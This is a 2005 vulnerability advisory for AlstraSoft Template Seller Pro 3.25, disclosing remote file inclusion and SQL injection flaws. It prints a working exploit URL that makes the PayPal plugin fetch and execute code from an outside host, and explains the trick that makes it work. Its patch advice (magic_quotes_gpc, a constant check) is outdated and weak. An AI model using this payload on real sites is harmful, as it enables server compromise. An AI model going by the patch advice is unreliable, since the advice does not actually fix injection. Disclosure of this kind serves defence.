Template Seller Pro 3.25

[r.verton () gmail com]

AlstraSoft Template Seller Pro 3.25 
===================================

   Software: AlstraSoft Template Seller Pro 3.25
   Severity: Arbitrary code execution, SQL Injection(s)
   Risk: High
   Author: Robin Verton <r.verton () gmail com>
   Date: Nov. 15 2005
   Vendor: www.alstrasoft.com


   Description:

        Ever thought of starting your very own profitable shopping cart business just like TemplateMonster.com? 
        With AlstraSoft Template Seller Pro software, you can run your own templates store selling templates such 
        as website templates, logo templates, flash intro templates, frontpage templates and many more! The 
        flexibility of Template Seller Pro  software also allows you to run a membership based templates business 
        just like BoxedArt.com by offering paid members multiple templates download instantly.
        [http://www.alstrasoft.com/]


   Details:

        1) /include/paymentplugins/payment_paypal.php

           /**
           Paypal payment plugin
           */
          global $config,$conn;
          include("$config[basepath]/include/payment/class.paypal_ipn.php");
          include("$config[basepath]/include/paymentplugins/paymentplugin.php");

           
          If register_globals is set on, we can include and execute any php code of our choice. This is very dangerous
          because if safe_mode is off and there are no restriction for execution commands an attacker can get access
          to each file on the server.

          
http://www.example.com/include/paymentplugins/payment_paypal.php?config[basepath]=http://youhost.com/our-code.txt?

          Because of the trailing '?' we pass the '/include/payment/class.paypal_ipn.php' from the include statement as 
a parameter
          to the our-code.php script so only the script we set in $config[basepath] is included.

        2) /admin/index.php

          $sql_user_name = $user_name;
          $md5_pass = md5($user_pass);
                                                
          $sql = "SELECT * FROM UserDB WHERE user_name='$sql_user_name' and user_password='$md5_pass'";

          The User submitted variable for the username is inserted into the database without andy validation. Because 
of this
          we can insert malicious code into the database.

        Nearly NO user-submitted variable is validated , so there are a few more SQL-injections possible. 
 
           
           
   Patch:
          Insert constants and use the following code to prevent against such attacks

          if( !defined('IN_SYS') ) {
                die('Hacking Attempt!');
          }

          and activate magic_quotes_gpc
  
   Credits:

        Credit goes to Robin Verton

   References:

        [1] http://www.alstrasoft.com/template.htm
        [2] http://myblog.it-security23.net